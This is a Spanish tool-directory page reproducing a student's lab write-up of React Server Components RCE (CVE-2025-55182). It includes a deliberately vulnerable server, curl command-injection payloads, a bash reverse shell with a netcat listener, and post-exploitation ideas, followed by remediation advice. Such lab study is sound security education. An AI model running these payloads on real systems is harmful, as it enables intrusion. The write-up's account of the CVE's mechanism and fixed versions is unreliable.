Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2025-55182-analysis — Investigación de seguridad y análisis de explotación de CVE-2025-55182 (React) — mapeo de CVSS + OWASP Top 10 | Kitploit
Herramientas/GitHubGitHub/mohamedniane/cve-2025-55182-analysis
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubmohamedniane/cve-2025-55182-analysis

cve-2025-55182-analysis

Investigación de seguridad y análisis de explotación de CVE-2025-55182 (React) — mapeo de CVSS + OWASP Top 10

Ver Repositorio
1hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 — Análisis de RCE en React Server Components

Análisis de vulnerabilidad de aplicación web · M2 Cybersecurity · 2025 Autor: Niane Mohamed · LinkedIn

Cadena de explotación de extremo a extremo de una vulnerabilidad de deserialización insegura crítica (CVSS 10.0) en React Server Components, desde el reconocimiento hasta la ejecución remota de código no autenticada, con una hoja de ruta completa de remediación.


⚠️ Aviso Ético

Esta investigación se dirige a una aplicación de laboratorio deliberadamente vulnerable creada para demostrar el CVE. Todas las pruebas se realizaron en una red virtual aislada, sin conexión con sistemas de producción, datos reales de usuarios ni servicios de terceros.

  • NO ejecutes estas técnicas contra sistemas que no poseas o para los que no cuentes con autorización escrita explícita para realizar pruebas.
  • NO despliegues la aplicación vulnerable en ninguna red accesible desde Internet.
  • Se aplican los principios de divulgación responsable: informa siempre de los hallazgos a través de canales coordinados.

Tabla de contenidos

  1. Vulnerability Summary
  2. Affected Versions
  3. Lab Environment
  4. Exploitation Walkthrough
  5. Impact Assessment
  • Remediation
  • Skills Demonstrated

  • Resumen de la vulnerabilidad

    CampoValor
    CVECVE-2025-55182
    ClaseDeserialización insegura → Ejecución remota de código
    CVSS v3.110.0 (Crítico) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    Autenticación requeridaNinguna
    Interacción del usuario requeridaNinguna
    Vector de ataqueRed (remoto)
    ComponenteEntorno de ejecución de React Server Components (RSC)

    Cómo funciona la vulnerabilidad

    React Server Components introdujo un nuevo formato de serialización para transmitir componentes renderizados en el servidor al cliente. En las versiones vulnerables, el endpoint RSC acepta una carga útil JSON con un campo cmd que se pasa sin saneamiento a child_process.exec() como parte de la evaluación del renderizado en el servidor.

    Un atacante puede enviar una solicitud POST manipulada que:

    1. Es aceptada como una carga útil RSC legítima (sin autenticación, sin CSRF)
    2. Desencadena la ejecución de código en el servidor durante el «render»
    3. Se ejecuta con los privilegios del proceso Node.js (a menudo root en contenedores)

    Versiones afectadas

    ComponenteRango vulnerableCorregida en
    react19.0.0 → 19.2.019.3.0+
    react-server-dom-webpack19.0.0 → 19.2.019.3.0+
    react-server-dom-esm19.0.0 → 19.2.019.3.0+

    Entorno de laboratorio

    RolSOHerramientas
    AtacanteKali Linux (última versión)nmap, curl, netcat, OWASP ZAP, Firefox
    ObjetivoUbuntu 22.04.4Node.js 18, Express, React 19.0 RSC
    RedVMware VMnet Host-OnlySin salida a Internet

    Aplicación objetivo

    Un servidor mínimo Express + RSC que expone un endpoint /rsc y ejecuta de forma insegura los comandos de la carga útil entrante, reproduciendo de forma controlada el patrón de vulnerabilidad del CVE real:

    root@kitploit:~
    // server.js — simplified, lab-only
    const express = require('express');
    const { exec } = require('child_process');
    
    const app = express();
    app.use(express.json({ limit: '2mb' }));
    
    app.post('/rsc', (req, res) => {
      const payload = req.body?.payload;
      if (typeof payload?.cmd === 'string') {
        // VULNERABLE: executes attacker-controlled string
        exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
          if (err) return res.status(500).json({ error: String(err), stderr });
          return res.json({ ok: true, out: stdout });
        });
      }
    });
    
    app.listen(3000);
    

    Guía de explotación

    Fase 1 — Reconocimiento

    root@kitploit:~
    # Port discovery
    nmap 192.168.159.131
    # → 3000/tcp open  ppp  (Node.js RSC server)
    
    # Service verification
    curl -v http://192.168.159.131:3000/
    # → HTTP/1.1 200 OK
    # → X-Powered-By: Express
    # → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
    

    La cabecera X-Powered-By: Express y el inusual puerto 3000 proporcionan una huella sólida de que se trata de una aplicación Node.js, coherente con los despliegues de RSC.

    Fase 2 — Confirmación mediante un comando benigno

    Antes de intentar nada destructivo, valida la vulnerabilidad con un comando inofensivo:

    root@kitploit:~
    curl -X POST http://192.168.159.131:3000/rsc \
      -H "Content-Type: application/json" \
      -d '{ "payload": { "cmd": "id" } }'
    
    # Response:
    # {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
    

    ✅ Confirmado: RCE no autenticado como root. El servidor se ejecuta con privilegios sin restricciones.

    Fase 3 — Shell inversa

    Pasa de la ejecución de un único comando a una shell interactiva completa:

    root@kitploit:~
    # Listener on attacker machine
    nc -lvnp 4444
    
    # Payload delivery
    curl -X POST http://192.168.159.131:3000/rsc \
      -H "Content-Type: application/json" \
      -d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
    

    El listener recibe:

    root@kitploit:~
    connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
    root@ns1:~/vulnerable_rsc_app# id
    uid=0(root) gid=0(root) groups=0(root)
    

    Fase 4 — Potencial de post-explotación (demostrado, no ejecutado)

    Con root en el objetivo, un atacante podría trivialmente:

    • Leer /etc/shadow, claves SSH, secretos de la aplicación, archivos .env
    • Instalar persistencia (tareas cron, servicios systemd, implantes de claves SSH)
    • Moverse lateralmente mediante credenciales descubiertas
    • Desplegar criptomineros o ransomware
    • Modificar la aplicación Node.js para capturar silenciosamente los datos de los usuarios

    Evaluación del impacto

    Impacto empresarial (escenario objetivo ficticio)

    EjeImpactoExplicación
    ConfidencialidadCríticoAcceso de lectura completo a todos los datos del servidor
    IntegridadCríticoCapacidad de modificar el código de la aplicación y los datos de los usuarios
    DisponibilidadAltoEl atacante puede terminar el servicio o mantenerlo secuestrado
    RegulatorioGraveViolación del RGPD/DSGVO con obligación de notificación en 72 h · posible multa del 4% de la facturación global
    ReputacionalGraveUna brecha pública asociada a un CVE daña la confianza de los clientes
    FinancieroAltoRespuesta a incidentes, multas regulatorias, posible demanda colectiva

    Perfil del actor de amenaza

    La baja complejidad de este ataque — sin autenticación, sin interacción del usuario, una única solicitud HTTP — lo hace atractivo para:

    • Escáneres oportunistas (botnets que escanean automáticamente en busca del CVE)
    • Brokers de acceso inicial que venden accesos a grupos de ransomware
    • Actores estatales que atacan a organizaciones que usan renderizado en servidor con React

    Remediación

    Inmediato (en 24 horas)

    1. Actualiza React a 19.3.0+ — versión parcheada

      root@kitploit:~
      npm update react react-server-dom-webpack react-server-dom-esm
      
    2. Regla WAF temporal (si la actualización se retrasa):

      root@kitploit:~
      Block POST requests to /rsc with JSON body containing "cmd" field
      
    3. Respuesta a incidentes de emergencia:

      • Revisar los registros de acceso del servidor de los últimos 90 días
      • Buscar tráfico POST inusual hacia /rsc
      • Rotar todos los secretos accesibles desde el servidor
      • Hacer una instantánea del sistema afectado para análisis forense antes de la remediación

    A corto plazo (en 2 semanas)

    ControlPropósito
    Deshabilitar RSC si no se usaReducir la superficie de ataque: muchas aplicaciones no necesitan componentes de servidor
    Validación estricta de entradasRechazar cualquier objeto deserializado que contenga claves ejecutables
    Usuario de contenedor no rootLimitar el radio de impacto si el RCE se repite
    Sistema de archivos raíz de solo lecturaPrevenir la persistencia y el depósito de binarios
    Filtrado de salidaBloquear el tráfico saliente de los servidores de aplicaciones hacia IP arbitrarias

    A largo plazo (en 1 trimestre)

    ControlPropósito
    WAF con análisis de comportamientoDetectar cargas útiles POST anómalas más allá de las reglas de firmas
    Protección de aplicaciones en tiempo de ejecución (RASP)Bloquear llamadas a funciones peligrosas como exec() en tiempo de ejecución
    SCA en CI/CDDetectar dependencias vulnerables antes del despliegue (pip-audit, npm audit, Trivy)
    Cadencia de pruebas de penetraciónAnual + tras cada lanzamiento importante
    Programa de recompensas por errores (bug bounty)Incentivar la divulgación de white hats antes de que los atacantes encuentren los problemas

    Mapeo con OWASP Top 10

    Categoría OWASPRelevancia
    A03:2021 — InyecciónInyección de comandos a través de entradas deserializadas
    A08:2021 — Fallos de integridad de software y datosDeserialización insegura sin verificación de integridad
    A06:2021 — Componentes vulnerables y desactualizadosUso de React 19.0-19.2 tras la divulgación
    A05:2021 — Configuración de seguridad incorrectaEjecutar Node.js como root, sin validación de entradas

    Habilidades demostradas

    • Análisis de vulnerabilidades: triaje de CVEs, puntuación CVSS, evaluación de explotabilidad
    • Reconocimiento: escaneo con Nmap, fingerprinting de servicios, captura de banners
    • Explotación: manipulación HTTP con curl, ingeniería de shell inversa, creación de cargas útiles
    • Herramientas de proxy: intercepción con OWASP ZAP, modificación de solicitudes/respuestas
    • Comunicación empresarial: hallazgos técnicos traducidos a lenguaje de riesgo ejecutivo
    • Diseño de remediación: controles en capas en horizontes inmediato, corto y largo plazo
    • Marcos de referencia: OWASP Top 10, CVSS v3.1, taxonomía CWE, evaluación de impacto RGPD/DSGVO

    Referencias

    • CVE-2025-55182 — Entrada en NVD (marcador de posición: verifícalo antes de citarlo)
    • Documentación de React Server Components
    • OWASP Top 10 — 2021
    • Especificación CVSS v3.1
    • CWE-502 — Deserialización de datos no confiables

    Licencia

    Licencia MIT — consulta LICENSE

    Publicado con fines educativos y de investigación defensiva. Consulta el aviso ético al principio.


    Contacto

    Niane Mohamed — Ingeniero de Redes y Seguridad 📍 Nouakchott, Mauritania → buscando oportunidades en Alemania 🇩🇪 📧 [email protected] · 🔗 LinkedIn

    Descargar herramienta